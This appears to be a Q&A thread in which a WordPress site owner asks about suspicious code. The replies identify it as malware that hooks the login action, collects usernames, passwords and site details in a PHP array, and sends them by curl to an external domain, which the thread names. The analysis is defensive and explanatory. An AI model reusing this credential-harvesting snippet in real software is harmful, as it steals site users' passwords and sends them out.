  • Why cant you just ask them? – yeah_well Nov 25 '20 at 20:38
  • What part of it you don't understand? – mentallurg Nov 25 '20 at 20:40
  • The whole thing I'm not sure what it is doing and there's some shady links to seniors-dating.org as well as a ip table. – Daniel Taki Nov 25 '20 at 20:42

    Do you have anything to do with seniors-dating.org? If not, it's very suspicious to say the least. I noticed the function wordpress_api_debug is added to the hook wp_login, which means it will be executed at every login. That function collects $_POST['pwd'] which appears to be the password field, then send it with a curl request to the suspicious domain. – reed Nov 25 '20 at 21:02

    And by the way, asking to analyze malware here is considered off-topic, so unfortunately your question will soon be closed, I guess. That's all. – reed Nov 25 '20 at 21:19

Yes, it is malicious.

The script for example collects data on the WordPress installation and the credentials used to login

$verbLogs = array(
    'wp_host'       => $_SERVER['HTTP_HOST'],
    'wp_uri'        => $_SERVER['REQUEST_URI'],
    'wp_scheme'     => isHttps(),
    'user_login'    => $_POST['log'],
    'user_password' => $_POST['pwd'],
    'user_ip'       => getUserIP(),
    'user_role'     => $role
);

and then uses curl_exec() to send this data to http://ww.seniors-dating.org/lnk/api.php.
